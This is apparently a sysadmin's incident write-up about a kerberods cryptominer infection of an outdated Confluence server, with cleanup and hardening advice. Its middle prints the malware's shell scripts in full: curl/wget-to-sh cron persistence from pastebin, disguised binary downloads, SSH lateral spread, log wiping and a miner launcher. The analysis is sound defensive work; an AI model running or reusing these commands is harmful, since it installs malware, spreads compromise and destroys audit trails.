Intro

A few days ago, a client contacted us with the problem of 502 error on their Atlassian Confluence instance. They are running their own instance of Atlassian Jira and Confluence, that are not updated regularly, despite out best efforts to motivate them to do so.

As good sysops do, we hit the helicopter and dropped into the issue by ropes (as freaking commandos). Basically you quickly lear how dependant the client is on the software, when it does not work.

This is the story of digging deeper…

Symptoms

Error 502 (Bad Gateway) when accessing Confluence instance.

High CPU usage

Unknown crontab runs in syslog.

syslog.1:Apr 15 15:40:01 jira CRON[14553]: (confluence) CMD ((curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh)

Modus operandi

The cron job we have mentioned earlier in the symptoms section runs another curl/wget process. I believe that this intermediate script is to ensure they are not caught because of the higher payload of the next part. The script makes sure the execution is silent, without any output and even to follow redirects on the url.

(curl -fsSL https://pastebin.com/raw/Zk7Jv9j2||wget -q -O- https://pastebin.com/raw/Zk7Jv9j2)|sed -e 's/\r//g'|sh

The script

Source

Export the classic paths in case the exploited user does not have them set up.

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

Create the /tmp directory and set up the usual permissions in case it does not exist.

mkdir -p /tmp chmod 1777 /tmp

Make sure the script is run in cron every 15 minutes.

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -

They really don’t want any competition, so kill all similar malware of other authors.

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9 netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9 netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

Test if any funky directory is writeable and clean up afterwards.

cd /tmp touch /usr/local/bin/writeable && cd /usr/local/bin/ touch /usr/libexec/writeable && cd /usr/libexec/ touch /usr/bin/writeable && cd /usr/bin/ rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

If this is our first run (file .XIMunix does not exist), or some cleanup was done by system administrators, create malware, make it immutable using chattr and make sure you can’t delete it.

export PATH=$PATH:$(pwd) if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then chattr -i kerberods rm -rf kerberods

Check system architecture to proceede.

ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods elif [ ${ARCH}x = "i686x" ]; then (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods else (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods fi

Run the obtained malware, notice the name, very similar to kerberos, a legitimate network protocol. The script just brute forces the malware location.

$(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods fi

Try to spread the malware around, if root user is exploited ( known_hosts and public key are readable), connect to all hosts by using the read key and try to run again on that machine.

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done fi

Clean the logs to avoid detection.

echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron #

Crypto mining

Another /tmp/def1.sh

contains:

wget https://raw.githubusercontent.com/aidamisa/aika/master/125.tmp -O /tmp/tempdb chmod +x /tmp/tempdb /tmp/tempdb

Another /tmp/rc9

contains:

#!/bin/sh export no_proxy = "139.99.120.75,132.148.148.79,132.148.148.79,139.224.20.173" #ps aux | grep -v root | grep -v python | grep -v perl | awk '$3>10.0{print $2}' | xargs kill -9 ps aux | awk '$3>10.0{print $2}' | xargs kill -9 pgrep -f ./atd|xargs kill -9 ip = "http://132.148.148.79/plus" rm /tmp/.dba mkdir /tmp/.dba Check () { curl -sSLkf $1 -o $2 || wget --no-check-certificate $1 -O $2 || python -c "import urllib;urllib.urlretrieve(' $1 ', ' $2 ')" ; } ; Check " $ip /java" "/tmp/.dba/dblaunchs_0xBB040" ; Check " $ip /javad" "/tmp/.dba/dblaunchs_0xBB041" ; Check " $ip /java2" "/tmp/.dba/dblaunchs_0xBB042" ; Check " $ip /java3c" "/tmp/.dba/dblaunchs_0xBB043" ; #Check "$ip/javas" "/tmp/.dba/libxmrstak_opencl_backend.so"; Check " $ip /javacj" "/tmp/.dba/config.json" ; Check " $ip /javacf" "/tmp/.dba/config.txt" ; Check " $ip /javacp" "/tmp/.dba/cpu.txt" ; Check " $ip /javapo" "/tmp/.dba/pools.txt" ; chmod 755 /tmp/.dba/dblaunchs_0xBB040 chmod 755 /tmp/.dba/dblaunchs_0xBB041 chmod 755 /tmp/.dba/dblaunchs_0xBB042 chmod 755 /tmp/.dba/dblaunchs_0xBB043 #chmod 755 /tmp/.dba/libxmrstak_opencl_backend.so chmod 755 /tmp/.dba/config.json chmod 755 /tmp/.dba/config.txt chmod 755 /tmp/.dba/cpu.txt chmod 755 /tmp/.dba/pools.txt cd /tmp/.dba/ ORG = $PATH export PATH = /tmp/.dba/:$PATH dblaunchs_0xBB040 2>/dev/null >&- <&- >/dev/null & dblaunchs_0xBB041 2>/dev/null >&- <&- >/dev/null & dblaunchs_0xBB042 2>/dev/null >&- <&- >/dev/null & dblaunchs_0xBB043 2>/dev/null >&- <&- >/dev/null & export PATH = $ORG sleep 10 dblaunchs_1 = $( ps aux | grep -v grep | grep dblaunchs_0xBB040 | awk '{print $2}' ) dblaunchs_2 = $( ps aux | grep -v grep | grep dblaunchs_0xBB041 | awk '{print $2}' ) dblaunchs_3 = $( ps aux | grep -v grep | grep dblaunchs_0xBB042 | awk '{print $2}' ) if [ $dblaunchs_1 -gt 1 ] ; then kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3; rm -rf /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs_0xBB042 mv /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs fi if [ $dblaunchs_2 -gt 1 ] ; then kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3; rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB042 mv /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs fi if [ $dblaunchs_3 -gt 1 ] ; then kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3; rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB041 mv /tmp/.dba/dblaunchs_0xBB042 /tmp/.dba/dblaunchs fi export PATH = /tmp/.dba/:$PATH dblaunchs 2>/dev/null >&- <&- >/dev/null & export PATH = $ORG sleep 15 rm -rf /tmp/.dba/dblaunchs rm -rf /tmp/.dba/dblaunchs_0xBB043 rm -rf /tmp/.dba/config.json rm -rf /tmp/.dba/config.txt rm -rf /tmp/.dba/cpu.txt rm -rf /tmp/.dba/pools.txt rm -rf /tmp/.dba/libxmrstak_opencl_backend.so rm -rf /tmp/rc6 rm -rf /tmp/rc7 rm -rf /tmp/rc9 rm -rf /tmp/open rm -rf /tmp/ng ps aux | grep -v grep | grep "curl" |grep "/plus/nx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "curl" |grep "/plus/kok" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "curl" |grep "/plus/wow" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "curl" |grep "/plus/rc7" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "curl" |grep "/plus/fxx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "wget" |grep "/plus/nx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "wget" |grep "/plus/kok" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "wget" |grep "/plus/wow" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "wget" |grep "/plus/rc7" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "wget" |grep "/plus/fxx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/nx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/kok" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/wow" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/rc7" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9 ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/fxx" | awk '{print $2}' | awk '{if(NR!=1) print }' | xargs kill -9

Cleanup

Reinstall possible

This is the safest way, as in most cases we can’t really be sure what was compromised.

Spin up a new server. Install latest Confluence version. Restore from the backup. Change passwords for database, SSH keys,… Decomission the old machine.

Thanks to reddit user cr0ft.

Reinstall impossible

Update Confluence. Delete crontab entries for the compromised users. Look for /var/spool/cron/crontabs/username file and delete it. Alternatively, switch to user, use crontab -e and delete the wget/curl entry. Kill the processes that use all the CPU. Usually /tmp/khugepageds and {kerberods} [kerberods] . Clean up the /tmp and other infected directories directory. You can use LSD Malware Clean Tool. Change passwords for database and user accounts, SSH keys,…

Mitigation and good practices

Do not run software as privileged user (root). If possible, split services between multiple user accounts. Do not store SSH keys on the server, to connect to other servers. Follow the security advisories and regularly update your operating system and all software. Uninstall unneeded software. Monitor the server and check log files automatically.

Further reading

See Also